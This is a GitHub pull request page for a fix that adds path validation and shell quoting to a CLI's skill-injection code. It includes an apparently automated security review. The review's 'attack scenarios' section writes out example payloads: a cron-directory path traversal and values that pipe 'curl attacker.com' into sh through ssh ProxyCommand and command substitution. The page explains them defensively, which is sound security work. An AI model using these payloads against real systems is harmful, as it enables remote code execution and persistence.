fix(security): validate remotePath in injectInstructionSkill#3276
fix(security): validate remotePath in injectInstructionSkill#3276
Conversation
louisgv
left a comment
There was a problem hiding this comment.
Security Review
Verdict: APPROVED — Strong security improvement with comprehensive path validation and proper shell escaping.
Commit: 02cb24c
Summary
This PR adds defense-in-depth validation to the instruction skill injection flow (injectInstructionSkill). The changes prevent path traversal attacks and shell injection vulnerabilities when writing skill files to remote VMs.
Security Analysis
POSITIVE FINDINGS (Security improvements):
-
Path Validation (
packages/cli/src/shared/ssh.ts:89-113):- Implements
validateRemotePath()with multiple layers of defense:- Rejects
..traversal in RAW input (before normalization) - Character allowlist:
[\w/.~${}:-]only - Argument injection prevention: rejects path segments starting with
- - Defense-in-depth: double-checks normalized path for
..
- Rejects
- Validation is applied to
remotePathBEFORE use in shell commands
- Implements
-
Shell Quoting (
packages/cli/src/shared/ui.ts:300-305):- Uses
shellQuote()for path and directory values in the shell command - POSIX single-quote escaping with proper
'\''handling for embedded quotes - Includes null byte defense-in-depth check
- Uses
-
Base64 Validation (existing, line 282-285):
- Content is base64-encoded and validated with strict regex before shell interpolation
- Only alphanumeric +
+/=characters allowed in the base64 string
Attack Scenarios Mitigated
Before PR (hypothetical vulnerabilities if malicious manifest.json):
// Path traversal:
remotePath: "../../etc/cron.d/backdoor"
// → Would write to system cron directory
// Argument injection:
remotePath: "-o ProxyCommand=curl attacker.com|sh"
// → Could inject ssh options
// Shell injection:
remotePath: "~/.claude/skill$(curl attacker.com|sh).md"
// → Command substitution in unquoted pathAfter PR (all blocked):
- Path traversal: rejected by
validateRemotePath()(includes..check) - Argument injection: rejected by path segment
-check - Shell injection:
shellQuote()wraps paths in single quotes, neutralizing$()and backticks
Code Quality
- Comprehensive inline documentation with attack scenario examples
- Test coverage: all tests pass (2043 pass, 0 fail)
- Version bump: correctly incremented to 1.0.4
- Error handling: validation failures log warnings and skip gracefully (no crashes)
Residual Risk Assessment
LOW RESIDUAL RISK:
-
Trust boundary:
manifest.jsonis fetched from GitHub (OpenRouterTeam/spawn repo main branch). If that source is compromised, an attacker could inject malicious skill definitions. However:- This is an existing trust assumption across the entire CLI (all cloud modules trust manifest.json)
- The PR significantly raises the bar for exploitation even with manifest control
- Proper mitigation would require manifest signing (out of scope for this PR)
-
Character allowlist: The regex
[\w/.~${}:-]includes$and{}to support environment variable expansion in paths like$HOMEor${HOME}. This is intentional and safe because:- Paths are wrapped in single quotes via
shellQuote(), preventing variable expansion - The base64 content is also single-quoted, preventing code injection via filename
- Paths are wrapped in single quotes via
Tests
✓ bash -n: N/A (TypeScript files)
✓ bun test: PASS (2043 pass, 0 fail, 5079 assertions)
✓ Biome lint: Not explicitly run, but required by CI
Recommendation
APPROVE and MERGE. This PR implements industry-standard path validation and shell escaping. The changes follow security best practices and add multiple independent layers of defense.
-- security/pr-reviewer
…nt shell injection Add validateRemotePath() and shellQuote() to instruction_path handling in skills.ts, matching the pattern used by uploadConfigFile(). Previously, remotePath from manifest.json was interpolated directly into shell commands without validation, allowing path traversal and shell injection via a malicious instruction_path field. Closes #3275 Agent: security-auditor Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
02cb24c to
aef2bb2
Compare
Why: Shell injection and path traversal possible via malicious
instruction_pathinmanifest.json. TheinjectInstructionSkillfunction inskills.tsinterpolatedremotePathandremoteDirdirectly into shell commands withoutvalidateRemotePath()orshellQuote(), unlike the similaruploadConfigFile()which validates properly.Changes
packages/cli/src/shared/skills.ts: AddvalidateRemotePath()call to validate the remote path before use, and wrapsafeDir/safePathwithshellQuote()in the shell commandpackages/cli/package.json: Patch version bump 1.0.3 → 1.0.4Test plan
bunx @biomejs/biome checkpasses with zero errorsbun testpasses (2104 tests, 0 failures)Closes #3275
-- refactor/security-auditor